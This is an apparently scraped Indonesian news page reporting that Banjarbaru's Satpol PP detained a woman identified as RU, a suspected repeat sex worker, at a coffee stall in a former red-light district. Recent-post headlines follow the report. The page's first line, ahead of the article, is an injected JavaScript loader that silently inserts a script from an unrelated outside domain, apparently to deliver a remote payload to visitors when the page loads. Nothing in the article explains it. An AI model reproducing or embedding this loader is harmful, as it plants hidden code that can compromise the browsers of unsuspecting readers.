(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pernah Tertangkap, RU Diciduk di Warung Kopi Diduga ‘Begituan’


BANJARBARU, RU, wanita terduga pekerja seks komersil (PSK) hanya bisa tertunduk malu saat Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru mengamankannya, di sebuah warung eks lokalisasi Batu Besi, Kecamatan Landasan Ulin, Banjarbaru, Kamis (3/10).

Terendusnya bisnis prostitusi ini bermula saat petugas melakukan patroli rutin. Petugas mencurigai sebuah warung kopi dimana ada seorang wanita dengan wajah yang tak asing di mata petugas.

“Kita kenal, karena wanita merupakan PSK yang kami tangkap beberapa waktu lalu. Warung kopi itu juga terindikasi kuat disalahgunakan untuk bisnis prostitusi,” kata Kasat Pol PP Banjarbaru, Marhain Rahman melalui Kasi Teknis Fungsional, Jufriadi.

Petugas rupanya telah melakukan pengintaian di warung kopi tersebut kurang lebih sebulan. Sekilas, warung kopi ini hanya warung biasa saja, namun kecurigaan semakin menguat yang mana belakangan diketahui warung tersebut kerap dijadikan tempat transaksi para PSK dengan pria hidung belang.

“Warung itu terindikasi kuat mengarah ke sana. Jadi para PSK transaksi atau ngobrolnya di warung, lalu kalau mau melakukan hubungan itu nyari tempat lainnya. Ini yang masih terus kita kembangkan,” ujar Jufriadi.

Saat dilakukan penertiban, RU berdalih hanya untuk mengantar kue kering dagangannya ke warung tersebut. “Saat ini, RU sudah kita amankan dan kita lakukan pemeriksaan dari petugas di seksi lidik,” terangnya.

Sekretaris Satpol PP Banjarbaru, Bahrain menerangkan bahwa RU rupanya pernah dua kali terciduk dengan kasus yang sama.
Dalam catatan Satpol PP, RU pernah menjalani Sidang Tindak Pidana Ringan (Tipiring) pada bulan Maret lalu dan divonis hukuman kurungan selama 3 bulan dengan masa percobaan satu tahun atas kasus prostitusi.

Akibat perbuatannya, RU yang kembali terlibat dalam bisnis yang sudah resmi ditutup pemerintah tiga tahun lalu ini, bisa saja dijebloskan ke Lembaga Pemasyarakatan lantaran kembali melanggar.

“Masa percobaan dia kan satu tahun pasca divonis. Nah sekarang ini belum satu tahun. Jadi jika terbukti, maka ancaman kurungan penjara tiga bulan besar kemungkinan menjeratnya. Namun kita akan tunggu hasil pemeriksaan dan juga persidangan,” tegasnya. (rico)


Desy Arfianty

Recent Posts

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

4 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

4 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

7 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

13 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

14 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

16 jam ago

This website uses cookies.